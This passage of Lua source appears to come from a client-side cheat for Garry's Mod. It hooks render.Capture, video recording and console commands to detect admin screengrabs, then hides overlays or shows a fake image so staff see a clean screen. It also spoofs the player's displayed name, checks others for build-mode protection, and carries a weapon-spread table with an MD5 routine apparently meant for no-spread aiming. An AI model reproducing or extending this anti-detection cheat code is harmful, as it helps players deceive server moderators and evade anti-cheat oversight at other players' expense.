tNotif.iTotalWidth = math.max(iTypeW, iTextW) + 28
tNotif.iTotalHeight = iTypeH + iTextH + 12
end
local iWidth = tNotif.iTotalWidth
local iHeight = tNotif.iTotalHeight
local iX = 5
local iY = iTotalHeight + 30
local flTimeSinceStart = flCurrentTime - tNotif.flStartTime
local flTimeDecaying = math.Clamp(flTimeSinceStart - tNotif.flTime, 0, 1)
local flTimeSpawning = math.Clamp(1 - flTimeSinceStart, 0, 1)
local flDecayPercentage = flTimeDecaying
local flSpawnPercentage = flTimeSpawning
local iAlpha = 255
if flDecayPercentage > 0 then
iAlpha = math.Clamp(255 - (255 * flDecayPercentage), 0, 255)
iX = iX - (iWidth * OutQuint(flDecayPercentage))
elseif flSpawnPercentage > 0 then
iX = iX - (iWidth * InQuint(flSpawnPercentage))
end
surface.SetAlphaMultiplier(iAlpha / 255)
sRect(iX, iY, iWidth, iHeight, self.m_colBackground)
sORect(iX, iY, iWidth, iHeight, self.m_colBorder1)
sORect(iX + 1, iY + 1, iWidth - 2, iHeight - 2, self.m_colBorder2)
sORect(iX + 2, iY + 2, iWidth - 4, iHeight - 4, self.m_colBorder3)
sORect(iX + 3, iY + 3, iWidth - 6, iHeight - 6, self.m_colBorder4)
local colAccent = Color(168, 100, 220)
surface.SetFont("KirkTab")
sText(tNotif.strType, iX + 8, iY + 4, Color(colAccent.r, colAccent.g, colAccent.b, iAlpha))
surface.SetFont("KirkElement")
sText(tNotif.strText, iX + 16, iY + tNotif.iTypeHeight + 6, Color(220, 210, 230, iAlpha))
surface.SetAlphaMultiplier(1)
iTotalHeight = iTotalHeight + iHeight + 1
if tNotif.bIsRendering and iAlpha <= 1 then
table.remove(self.m_tAllNotifs, iIndex)
else
iIndex = iIndex + 1
end
end
end
local function screengrab()
if ss then return end
ss = true
sNotify:Notify("Screengrab", "render.Capture was called!", 5)
surface.PlaySound("Friends/message.wav")
renderc(0, 0, 0, 255, true, true)
renderv({
origin = LocalPlayer():EyePos(),
angles = LocalPlayer():EyeAngles(),
x = 0,
y = 0,
w = ScrW(),
h = ScrH(),
dopostprocess = true,
drawhud = true,
drawmonitors = true,
drawviewmodel = true
})
local vguishits = vguiworldpanel()
if IsValid(vguishits) then
vguishits:SetPaintedManually(true)
end
timer.Simple(0.1, function()
if IsValid(vguiworldpanel()) then
vguiworldpanel():SetPaintedManually(false)
end
ss = false
end)
end
local function GetBeautifiedWeaponName(wep)
if not IsValid(wep) then return "NONE" end
local name = wep:GetPrintName()
local class = wep:GetClass()
if name == "Scripted Weapon" or name == "" then
name = class
end
if string.StartWith(name, "rust_") then
name = string.sub(name, 6)
end
return string.upper(name)
end
local function isBuilding(ent)
if not IsValid(ent) then return false end
return (ent.IndicatorEnabled)
or (ent:GetNWInt("lfg_buildmode") == 1)
or (ent:GetNWBool("EggrollBuild"))
or (ent:GetNWBool("LibbyProtectedSpawn"))
or (ent:GetNWBool("_Kyle_Buildmode"))
or (ent:GetNWBool("build_pvp"))
or (not ent:GetNWBool("CFC_PvP_Mode", true))
or (ent:GetNWBool("BuildMode"))
or (ent.IsBuilder and ent:IsBuilder())
or (ent:GetNWBool("BuildProtection"))
end
render.Capture = function(data)
screengrab()
local cap = rendercap(data)
return cap
end
if video then
video.Record = function(config)
bBeingVideoed = true
sNotify:Notify("Recording", "video.Record was called!", 5)
surface.PlaySound("Friends/message.wav")
return videorecord(config)
end
end
local mtVideoWriter = FindMetaTable("IVideoWriter")
if mtVideoWriter then
local fnOriginalAddFrame = mtVideoWriter.AddFrame
mtVideoWriter.AddFrame = function(self, flFrameTime, bDownSample, ...)
iFrames = iFrames + 1
return fnOriginalAddFrame(self, flFrameTime, bDownSample, ...)
end
local fnOriginalFinish = mtVideoWriter.Finish
mtVideoWriter.Finish = function(self, ...)
sNotify:Notify("Recording", string.format("Finished (%d frames)", iFrames), 5)
surface.PlaySound("Friends/message.wav")
iFrames = 0
local ret = fnOriginalFinish(self, ...)
bBeingVideoed = false
return ret
end
end
-- "jpeg" is GimmieDatScreen
local plyMeta = FindMetaTable("Player")
if plyMeta then
local oldConCommand = plyMeta.ConCommand
plyMeta.ConCommand = function(self, cmd, ...)
if type(cmd) == "string" and (string.find(cmd, "jpeg") or string.find(cmd, "screenshot")) then
screengrab()
end
return oldConCommand(self, cmd, ...)
end
if not plyMeta.OriginalNick then
plyMeta.OriginalNick = plyMeta.Nick
plyMeta.OriginalName = plyMeta.Name
plyMeta.OriginalGetName = plyMeta.GetName
end
local vns_pos = 0
local vns_dir = 1
function CreateVNSTimer()
if timer.Exists("kirk_vns_tw") then return end
timer.Create("kirk_vns_tw", 0.15, 0, function()
if config.visualNameSpoofMode ~= "Typewriter" then
timer.Remove("kirk_vns_tw")
return
end
local name = config.visualNameSpoofName
if not name or name == "" then return end
vns_pos = vns_pos + vns_dir
if vns_pos > #name then
vns_pos = #name
vns_dir = -1
elseif vns_pos < 0 then
vns_pos = 0
vns_dir = 1
end
end)
end
if config.visualNameSpoof and config.visualNameSpoofMode == "Typewriter" then
CreateVNSTimer()
end
function plyMeta:Nick()
if IsValid(self) and self == LocalPlayer() and config.visualNameSpoofMode ~= "None" then
local name = config.visualNameSpoofName
if config.visualNameSpoofMode == "Typewriter" then
return string.sub(name, 1, vns_pos)
end
return name
end
return self:OriginalNick()
end
function plyMeta:Name()
if IsValid(self) and self == LocalPlayer() and config.visualNameSpoofMode ~= "None" then
local name = config.visualNameSpoofName
if config.visualNameSpoofMode == "Typewriter" then
return string.sub(name, 1, vns_pos)
end
return name
end
return self:OriginalName()
end
function plyMeta:GetName()
if IsValid(self) and self == LocalPlayer() and config.visualNameSpoofMode ~= "None" then
local name = config.visualNameSpoofName
if config.visualNameSpoofMode == "Typewriter" then
return string.sub(name, 1, vns_pos)
end
return name
end
return self:OriginalGetName()
end
end
local fakeRT = GetRenderTarget("fakeRT" .. os.time(), ScrW(), ScrH())
hook.Add("RenderScene", "notaucpastesowecanevademedal", function(vOrigin, vAngle, vFOV)
if render.IsTakingScreenshot() then screengrab() end
if not config.antiMedal then return end
local view = {
x = 0,
y = 0,
w = ScrW(),
h = ScrH(),
dopostprocess = true,
origin = vOrigin,
angles = vAngle,
fov = vFOV,
drawhud = true,
drawmonitors = true,
drawviewmodel = true
}
render.RenderView(view)
render.CopyTexture(nil, fakeRT)
cam.Start2D()
hook.Run("kirkpaint")
cam.End2D()
render.SetRenderTarget(fakeRT)
return true
end)
hook.Add("PostRender", "over", function()
local drawCensor = censorBoxVisible and IsValid(censorBoxPanel)
local drawSS = ss and config.customScreengrabImage and customScreengrabMat
if not drawCensor and not drawSS then return end
cam.Start2D()
if drawCensor then
surface.SetDrawColor(0, 0, 0, 255)
local x, y = censorBoxPanel:GetPos()
local w, h = censorBoxPanel:GetSize()
surface.DrawRect(x, y, w, h)
end
if drawSS then
surface.SetDrawColor(255, 255, 255, 255)
surface.SetMaterial(customScreengrabMat)
surface.DrawTexturedRect(0, 0, ScrW(), ScrH())
end
cam.End2D()
end)
hook.Add("ShutDown", "whatdoesthisevendoidkipastesooomuch", function()
render.SetRenderTarget()
end)
hook.Add("HUDPaint", "antimedal", function()
if not config.antiMedal then
hook.Run("kirkpaint")
end
end)
local NS = {
engineSpread = {
[0] = {-0.492036, 0.286111}, [1] = {-0.492036, 0.286111}, [2] = {-0.255320, 0.128480}, [3] = {0.456165, 0.356030},
[4] = {-0.361731, 0.406344}, [5] = {-0.146730, 0.834589}, [6] = {-0.253288, -0.421936}, [7] = {-0.448694, 0.111650},
[8] = {-0.880700, 0.904610}, [9] = {-0.379932, 0.138833}, [10] = {0.502579, -0.494285}, [11] = {-0.263847, -0.594805},
[12] = {0.818612, 0.090368}, [13] = {-0.063552, 0.044356}, [14] = {0.490455, 0.304820}, [15] = {-0.192024, 0.195162},
[16] = {-0.139421, 0.857106}, [17] = {0.715745, 0.336956}, [18] = {-0.150103, -0.044842}, [19] = {-0.176531, 0.275787},
[20] = {0.155707, -0.152178}, [21] = {-0.136486, -0.591896}, [22] = {-0.021022, -0.761979}, [23] = {-0.166004, -0.733964},
[24] = {-0.102439, -0.132059}, [25] = {-0.607531, -0.249979}, [26] = {-0.500855, -0.185902}, [27] = {-0.080884, 0.516556},
[28] = {-0.003334, 0.138612}, [29] = {-0.546388, -0.000115}, [30] = {-0.228092, -0.018492}, [31] = {0.542539, 0.543196},
[32] = {-0.355162, 0.197473}, [33] = {-0.041726, -0.015735}, [34] = {-0.713230, -0.551701}, [35] = {-0.045056, 0.090208},
[36] = {0.061028, 0.417744}, [37] = {-0.171149, -0.048811}, [38] = {0.241499, 0.164562}, [39] = {-0.129817, -0.111200},
[40] = {0.007366, 0.091429}, [41] = {-0.079268, -0.008285}, [42] = {0.010982, -0.074707}, [43] = {-0.517782, -0.682470},
[44] = {-0.663822, -0.024972}, [45] = {0.058213, -0.078307}, [46] = {-0.302041, -0.132280}, [47] = {0.217689, -0.209309},
[48] = {-0.143615, 0.830349}, [49] = {0.270912, 0.071245}, [50] = {-0.258170, -0.598358}, [51] = {0.099164, -0.257525},
[52] = {-0.214676, -0.595918}, [53] = {-0.427053, -0.523764}, [54] = {-0.585472, 0.088522}, [55] = {0.564305, -0.533822},
[56] = {-0.387545, -0.422206}, [57] = {0.690505, -0.299197}, [58] = {0.475553, 0.169785}, [59] = {0.347436, 0.575364},
[60] = {-0.069555, -0.103340}, [61] = {0.286197, -0.618916}, [62] = {-0.505259, 0.106581}, [63] = {-0.420214, -0.714843},
[64] = {0.032596, -0.401891}, [65] = {-0.238702, -0.087387}, [66] = {0.714358, 0.197811}, [67] = {0.208960, 0.319015},
[68] = {-0.361140, 0.222130}, [69] = {-0.133284, -0.492274}, [70] = {0.022824, -0.133955}, [71] = {-0.100850, 0.271962},
[72] = {-0.050582, -0.319538}, [73] = {0.577980, 0.095507}, [74] = {0.224871, 0.242213}, [75] = {-0.628274, 0.097248},
[76] = {0.184266, 0.091959}, [77] = {-0.036716, 0.474259}, [78] = {-0.502566, -0.279520}, [79] = {-0.073201, -0.036658},
[80] = {0.339952, -0.293667}, [81] = {0.042811, 0.130387}, [82] = {0.125881, 0.007040}, [83] = {0.138374, -0.418355},
[84] = {0.261396, -0.392697}, [85] = {-0.453318, -0.039618}, [86] = {0.890159, -0.335165}, [87] = {0.466437, -0.207762},
[88] = {0.593253, 0.418018}, [89] = {0.566934, -0.643837}, [90] = {0.150918, 0.639588}, [91] = {0.150112, 0.215963},
[92] = {-0.130520, 0.324801}, [93] = {-0.369819, -0.019127}, [94] = {-0.038889, -0.650789}, [95] = {0.490519, -0.065375},
[96] = {-0.305940, 0.454759}, [97] = {-0.521967, -0.550004}, [98] = {-0.040366, 0.683259}, [99] = {0.137676, -0.376445},
[100] = {0.839301, 0.085979}, [101] = {-0.319140, 0.481838}, [102] = {0.201437, -0.033135}, [103] = {0.384637, -0.036685},
[104] = {0.598419, 0.144371}, [105] = {-0.061424, -0.608645}, [106] = {-0.065337, 0.308992}, [107] = {-0.029356, -0.634337},
[108] = {0.326532, 0.047639}, [109] = {0.505681, -0.067187}, [110] = {0.691612, 0.629364}, [111] = {-0.038588, -0.635947},
[112] = {0.637837, -0.011815}, [113] = {0.765338, 0.563945}, [114] = {0.213416, 0.068664}, [115] = {-0.576581, 0.554824},
[116] = {0.246580, 0.132726}, [117] = {0.385548, -0.070054}, [118] = {0.538735, -0.291010}, [119] = {0.609944, 0.590973},
[120] = {-0.463240, 0.010302}, [121] = {-0.047718, 0.741086}, [122] = {0.308590, -0.322179}, [123] = {-0.291173, 0.256367},
[124] = {0.287413, -0.510402}, [125] = {0.864716, 0.158126}, [126] = {0.572344, 0.561319}, [127] = {-0.090544, 0.332633},
[128] = {0.644714, 0.196736}, [129] = {-0.204198, 0.603049}, [130] = {-0.504277, -0.641931}, [131] = {0.218554, 0.343778},
[132] = {0.466971, 0.217517}, [133] = {-0.400880, -0.299746}, [134] = {-0.582451, 0.591832}, [135] = {0.421843, 0.118453},
[136] = {-0.215617, -0.037630}, [137] = {0.341048, -0.283902}, [138] = {-0.246495, -0.138214}, [139] = {0.214287, -0.196102},
[140] = {0.809797, -0.498168}, [141] = {-0.115958, -0.260677}, [142] = {-0.025448, 0.043173}, [143] = {-0.416803, -0.180813},
[144] = {-0.782066, 0.335273}, [145] = {0.192178, -0.151171}, [146] = {0.109733, 0.165085}, [147] = {-0.617935, -0.274392},
[148] = {0.283301, 0.171837}, [149] = {-0.150202, 0.048709}, [150] = {-0.179954, -0.288559}, [151] = {-0.288267, -0.134894},
[152] = {-0.049203, 0.231717}, [153] = {-0.065761, 0.495457}, [154] = {0.082018, -0.457869}, [155] = {-0.159553, 0.032173},
[156] = {0.508305, -0.090690}, [157] = {0.232269, -0.338245}, [158] = {-0.374490, -0.480945}, [159] = {-0.541244, 0.194144},
[160] = {-0.040063, -0.073532}, [161] = {0.136516, -0.167617}, [162] = {-0.237350, 0.456912}, [163] = {-0.446604, -0.494381},
[164] = {0.078626, -0.020068}, [165] = {0.163208, 0.600330}, [166] = {-0.886186, -0.345326}, [167] = {-0.732948, -0.689349},
[168] = {0.460564, -0.719006}, [169] = {-0.033688, -0.333340}, [170] = {-0.325414, -0.111704}, [171] = {0.010928, 0.723791},
[172] = {0.713581, -0.077733}, [173] = {-0.050912, -0.444684}, [174] = {-0.268509, 0.381144}, [175] = {-0.175387, 0.147070},
[176] = {-0.429779, 0.144737}, [177] = {-0.054564, 0.821354}, [178] = {0.003205, 0.178130}, [179] = {-0.552814, 0.199046},
[180] = {0.225919, -0.195013}, [181] = {0.056040, -0.393974}, [182] = {-0.505988, 0.075184}, [183] = {-0.510223, 0.156271},
[184] = {-0.209616, 0.111174}, [185] = {-0.605132, -0.117104}, [186] = {0.412433, -0.035510}, [187] = {-0.573947, -0.691295},
[188] = {-0.712686, 0.021719}, [189] = {-0.643297, 0.145307}, [190] = {0.245038, 0.343062}, [191] = {-0.235623, -0.159307},
[192] = {-0.834004, 0.088725}, [193] = {0.121377, 0.671713}, [194] = {0.528614, 0.607035}, [195] = {-0.285699, -0.111312},
[196] = {0.603385, 0.401094}, [197] = {0.632098, -0.439659}, [198] = {0.681016, -0.242436}, [199] = {-0.261709, 0.304265},
[200] = {-0.653737, -0.199245}, [201] = {-0.435512, -0.762978}, [202] = {0.701105, 0.389527}, [203] = {0.093495, -0.148484},
[204] = {0.715218, 0.638291}, [205] = {-0.055431, -0.085173}, [206] = {-0.727438, 0.889783}, [207] = {-0.007230, -0.519183},
[208] = {-0.359615, 0.058657}, [209] = {0.294681, 0.601155}, [210] = {0.226879, -0.255430}, [211] = {-0.307847, -0.617373},
[212] = {0.340916, -0.780086}, [213] = {-0.028277, 0.610455}, [214] = {-0.365067, 0.323311}, [215] = {0.001059, -0.270451},
[216] = {0.304025, 0.047478}, [217] = {0.297389, 0.383859}, [218] = {0.288059, 0.262816}, [219] = {-0.889315, 0.533731},
[220] = {0.215887, 0.678889}, [221] = {0.287135, 0.343899}, [222] = {0.423951, 0.672285}, [223] = {0.411912, -0.812886},
[224] = {0.081615, -0.497358}, [225] = {-0.051963, -0.117891}, [226] = {-0.062387, 0.331698}, [227] = {0.020458, -0.734125},
[228] = {-0.160176, 0.196321}, [229] = {0.044898, -0.024032}, [230] = {-0.153162, 0.930951}, [231] = {-0.015084, 0.233476},
[232] = {0.395043, 0.645227}, [233] = {-0.232095, 0.283834}, [234] = {-0.507699, 0.317122}, [235] = {-0.606604, -0.227259},
[236] = {0.526430, -0.408765}, [237] = {0.304079, 0.135680}, [238] = {-0.134042, 0.508741}, [239] = {-0.276770, 0.383958},
[240] = {-0.298963, -0.233668}, [241] = {0.171889, 0.697367}, [242] = {-0.292571, -0.317604}, [243] = {0.587806, 0.115584},
[244] = {-0.346690, -0.098320}, [245] = {0.956701, -0.040982}, [246] = {0.040838, 0.595304}, [247] = {0.365201, -0.519547},
[248] = {-0.397271, -0.090567}, [249] = {-0.124873, -0.356800}, [250] = {-0.122144, 0.617725}, [251] = {0.191266, -0.197764},
[252] = {-0.178092, 0.503667}, [253] = {0.103221, 0.547538}, [254] = {0.019524, 0.621226}, [255] = {0.663918, -0.573476}
},
Const = {
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391,
0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
},
Spread = {
weapon_smg1 = {0.04362, 0.04362},
weapon_ar2 = {0.02618, 0.02618},
weapon_shotgun = {0.08716, 0.08716},
weapon_pistol = {0.00873, 0.00873}
}
}
local function Either(cond, a, b)
if cond then return a else return b end
end
local C_CreateMove = {
m_flServerTime = 0
}
local MultiplayerAnimState = {
Instances = {},
MaxAnimationLayers = 15
}
function MultiplayerAnimState:Create(identifier, ply)
local animationState = {}
animationState.Player = ply
animationState.EyeYaw = 0
animationState.EyePitch = 0
animationState.AimYaw = 0
animationState.AimPitch = 0
animationState.Cycle = 0
animationState.PrevCycle = 0
animationState.Sequence = 0
animationState.PrevSequence = 0
animationState.GoalFeetYaw = 0
animationState.CurrentFeetYaw = 0
animationState.RenderAngles = Angle(0, 0, 0)
animationState.AnimationLayers = {}
animationState.AnimationTime = 0
animationState.EstimateYaw = 0
animationState.MoveX = 0
animationState.MoveY = 0
animationState.Velocity = Vector(0, 0, 0)
for i = 0, self.MaxAnimationLayers do
table.insert(animationState.AnimationLayers, i, {
Cycle = 0,
PrevCycle = 0,
Sequence = 0,
PrevSequence = 0,
Weight = 0,
PrevWeight = 0
})
end
table.insert(self.Instances, identifier, animationState)
end
function MultiplayerAnimState:ConvergeYawAngles(identifier, goalYaw, yawRate, deltaTime, currentYaw)
local deltaYaw = goalYaw - currentYaw
local deltaYawAbs = math.abs(deltaYaw)
deltaYaw = math.NormalizeAngle(deltaYaw)
local scale = math.Clamp(deltaYawAbs / 60, 0.01, 1)
local yaw = yawRate * deltaTime * scale
if deltaYawAbs < yaw then
currentYaw = goalYaw
else
local side = Either(deltaYaw < 0, -yaw, yaw)
currentYaw = currentYaw + side
end
self.Instances[identifier].CurrentFeetYaw = math.NormalizeAngle(currentYaw)
end
MOVING_MINIMUM_SPEED = 0.5
function MultiplayerAnimState:CalcMovementSpeed(identifier)
local vecVelocity = self.Instances[identifier].Velocity
local flSpeed = vecVelocity:Length2D()
if ( flSpeed > MOVING_MINIMUM_SPEED ) then
return flSpeed, true
end
return 0.0, false
end
function MultiplayerAnimState:EstimateYaw(identifier)
local ply = self.Instances[identifier].Player
local flDeltaTime = engine.TickInterval()
local vecEstVelocity = self.Instances[identifier].Velocity
local angles = ply:GetLocalAngles()
if vecEstVelocity.x == 0.0 and vecEstVelocity.y == 0.0 then
local flYawDelta = math.NormalizeAngle( angles.y - self.Instances[identifier].EstimateYaw )
if flDeltaTime < 0.25 then
flYawDelta = flYawDelta * ( flDeltaTime * 4.0 )
else
flYawDelta = flYawDelta * flDeltaTime
end
self.Instances[identifier].EstimateYaw = math.NormalizeAngle( self.Instances[identifier].EstimateYaw + flYawDelta )
else
self.Instances[identifier].EstimateYaw = math.atan2( vecEstVelocity.y, vecEstVelocity.x ) * 180.0 / math.pi
self.Instances[identifier].EstimateYaw = math.Clamp( self.Instances[identifier].EstimateYaw, -180.0, 180.0 )
end
end
function MultiplayerAnimState:ComputeMoveYaw(identifier)
local ply = self.Instances[identifier].Player
self:EstimateYaw(identifier)
local flAngle = math.NormalizeAngle( self.Instances[identifier].EyeYaw )
local flYaw = flAngle - self.Instances[identifier].EstimateYaw
flYaw = math.NormalizeAngle( -flYaw )
local flSpeed, bIsMoving = self:CalcMovementSpeed(identifier)
local vecCurrentMoveYaw = Vector( 0.0, 0.0 )
if ( bIsMoving ) then
vecCurrentMoveYaw.x = math.cos( math.rad( flYaw ) )
vecCurrentMoveYaw.y = -math.sin( math.rad( flYaw ) )
local flInvScale = math.max( math.abs( vecCurrentMoveYaw.x ), math.abs( vecCurrentMoveYaw.y ) )
if ( flInvScale ~= 0.0 ) then
vecCurrentMoveYaw.x = vecCurrentMoveYaw.x / flInvScale
vecCurrentMoveYaw.y = vecCurrentMoveYaw.y / flInvScale
end
local oldX, oldY = ply:GetPoseParameter("move_x"), ply:GetPoseParameter("move_y")
ply:SetPoseParameter("move_x", vecCurrentMoveYaw.x)
ply:SetPoseParameter("move_y", vecCurrentMoveYaw.y)
local flMaxSpeed = ply:GetSequenceGroundSpeed( self.Instances[identifier].Sequence )
ply:SetPoseParameter("move_x", oldX)
ply:SetPoseParameter("move_y", oldY)
if ( flMaxSpeed > flSpeed ) then
vecCurrentMoveYaw.x = vecCurrentMoveYaw.x * (flSpeed / flMaxSpeed)
vecCurrentMoveYaw.y = vecCurrentMoveYaw.y * (flSpeed / flMaxSpeed)
end
self.Instances[identifier].MoveX = vecCurrentMoveYaw.x
self.Instances[identifier].MoveY = vecCurrentMoveYaw.y
else
self.Instances[identifier].MoveX = 0
self.Instances[identifier].MoveY = 0
end
end
function MultiplayerAnimState:ComputeAimPitch(identifier)
local aimPitch = self.Instances[identifier].EyePitch
if (aimPitch < -89 and aimPitch > -360) then
aimPitch = 89
end
local hActiveWeapon = self.Instances[identifier].Player:GetActiveWeapon()
if hActiveWeapon:IsValid() and hActiveWeapon.IsSWCSWeapon then
aimPitch = math.NormalizeAngle(aimPitch + hActiveWeapon:GetNWFloat("m_flThirdpersonRecoil"))
end
self.Instances[identifier].AimPitch = aimPitch
end
function MultiplayerAnimState:ComputeAimYaw(identifier)
local velocity = self.Instances[identifier].Velocity
local isMoving = velocity:Length() > 1
if isMoving then
self.Instances[identifier].GoalFeetYaw = self.Instances[identifier].EyeYaw
else
local yawDelta = math.NormalizeAngle(self.Instances[identifier].GoalFeetYaw - self.Instances[identifier].EyeYaw)
if (math.abs(yawDelta) > 45) then
self.Instances[identifier].GoalFeetYaw = self.Instances[identifier].GoalFeetYaw + Either(yawDelta > 0, -45, 45)
end
end
self.Instances[identifier].GoalFeetYaw = math.NormalizeAngle(self.Instances[identifier].GoalFeetYaw)
if self.Instances[identifier].GoalFeetYaw ~= self.Instances[identifier].CurrentFeetYaw then
self:ConvergeYawAngles(identifier, self.Instances[identifier].GoalFeetYaw, 720, engine.TickInterval(), self.Instances[identifier].CurrentFeetYaw)
end
end
function MultiplayerAnimState:UpdateEyeAngles(identifier, eyeAngles)
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
table.remove(self.Instances[identifier])
return
end
eyeAngles = eyeAngles or ply:EyeAngles()
self.Instances[identifier].EyePitch = math.NormalizeAngle(eyeAngles.p)
self.Instances[identifier].EyeYaw = math.NormalizeAngle(eyeAngles.y)
self.Instances[identifier].Velocity:Set(ply:GetVelocity())
end
function MultiplayerAnimState:UpdateAnimationState(identifier)
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
table.remove(self.Instances[identifier])
return
end
if ply:Alive() then
self:ComputeMoveYaw(identifier)
self:ComputeAimPitch(identifier)
self:ComputeAimYaw(identifier)
end
end
function MultiplayerAnimState:UpdateCachedPoseParameters(identifier)
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
self.Instances[identifier] = nil
return
end
self.Instances[identifier].Cycle = ply:GetCycle()
self.Instances[identifier].Sequence = ply:GetSequence()
self.Instances[identifier].AnimationTime = ply:GetAnimTime()
for i = 0, self.MaxAnimationLayers do
self.Instances[identifier].AnimationLayers[i].Cycle = ply:GetLayerCycle(i)
self.Instances[identifier].AnimationLayers[i].Sequence = ply:GetLayerSequence(i)
self.Instances[identifier].AnimationLayers[i].Weight = ply:GetLayerWeight(i)
end
self.Instances[identifier].AimYaw = math.NormalizeAngle(self.Instances[identifier].EyeYaw - self.Instances[identifier].CurrentFeetYaw)
self.Instances[identifier].RenderAngles.y = self.Instances[identifier].CurrentFeetYaw
end
function MultiplayerAnimState:ApplyCachedPoseParameters(identifier)
if not self.Instances[identifier] then return end
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
self.Instances[identifier] = nil
return
end
if not ply:InVehicle() then
ply:SetPoseParameter("aim_pitch", self.Instances[identifier].AimPitch)
ply:SetPoseParameter("aim_yaw", self.Instances[identifier].AimYaw)
ply:SetPoseParameter("move_x", self.Instances[identifier].MoveX)
ply:SetPoseParameter("move_y", self.Instances[identifier].MoveY)
ply:SetRenderAngles(self.Instances[identifier].RenderAngles)
end
end
function MultiplayerAnimState:ApplyAnimationLayers(identifier)
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
table.remove(self.Instances[identifier])
return
end
self.Instances[identifier].PrevCycle = ply:GetCycle()
self.Instances[identifier].PrevSequence = ply:GetSequence()
self.Instances[identifier].AnimationTime = ply:GetAnimTime()
ply:SetSequence(self.Instances[identifier].Sequence)
ply:SetCycle(self.Instances[identifier].Cycle)
for i = 0, self.MaxAnimationLayers do
if ply:IsValidLayer(i) then
self.Instances[identifier].AnimationLayers[i].PrevCycle = ply:GetLayerCycle(i)
self.Instances[identifier].AnimationLayers[i].PrevSequence = ply:GetLayerSequence(i)
self.Instances[identifier].AnimationLayers[i].PrevWeight = ply:GetLayerWeight(i)
end
ply:SetLayerSequence(i, self.Instances[identifier].AnimationLayers[i].Sequence)
ply:SetLayerCycle(i, self.Instances[identifier].AnimationLayers[i].Cycle)
ply:SetLayerWeight(i, self.Instances[identifier].AnimationLayers[i].Weight)
end
end
function MultiplayerAnimState:RestoreAnimationLayers(identifier)
local ply = self.Instances[identifier].Player
if not IsValid(ply) then
table.remove(self.Instances[identifier])
return
end
ply:SetSequence(self.Instances[identifier].PrevSequence)
ply:SetCycle(self.Instances[identifier].PrevCycle)
for i = 0, self.MaxAnimationLayers do
ply:SetLayerSequence(i, self.Instances[identifier].AnimationLayers[i].PrevSequence)
ply:SetLayerCycle(i, self.Instances[identifier].AnimationLayers[i].PrevCycle)
ply:SetLayerWeight(i, self.Instances[identifier].AnimationLayers[i].PrevWeight)
end
end
local md5_f = function (x,y,z) return bit.bor(bit.band(x,y),bit.band(-x-1,z)) end
local md5_g = function (x,y,z) return bit.bor(bit.band(x,z),bit.band(y,-z-1)) end
local md5_h = function (x,y,z) return bit.bxor(x,bit.bxor(y,z)) end
local md5_i = function (x,y,z) return bit.bxor(y,bit.bor(x,-z-1)) end
NS.MD5 = {}
function NS.MD5.z(f, a, b, c, d, x, s, ac)
a = bit.band(a + f(b, c, d) + x + ac, 0xffffffff)
return bit.bor(bit.lshift(bit.band(a, bit.rshift(0xffffffff, s)), s), bit.rshift(a, 32 - s)) + b
end
function NS.MD5.Fix(a)
if (a > 2 ^ 31) then
return a - 2 ^ 32
end
return a
end
function NS.MD5.Transform(A, B, C, D, X)
local a, b, c, d = A, B, C, D
a = NS.MD5.z(md5_f, a, b, c, d, X[0], 7, NS.Const[1])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_f, d, a, b, c, X[1], 12, NS.Const[2])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_f, c, d, a, b, X[2], 17, NS.Const[3])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_f, b, c, d, a, X[3], 22, NS.Const[4])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_f, a, b, c, d, X[4], 7, NS.Const[5])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_f, d, a, b, c, X[5], 12, NS.Const[6])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_f, c, d, a, b, X[6], 17, NS.Const[7])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_f, b, c, d, a, X[7], 22, NS.Const[8])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_f, a, b, c, d, X[8], 7, NS.Const[9])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_f, d, a, b, c, X[9], 12, NS.Const[10])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
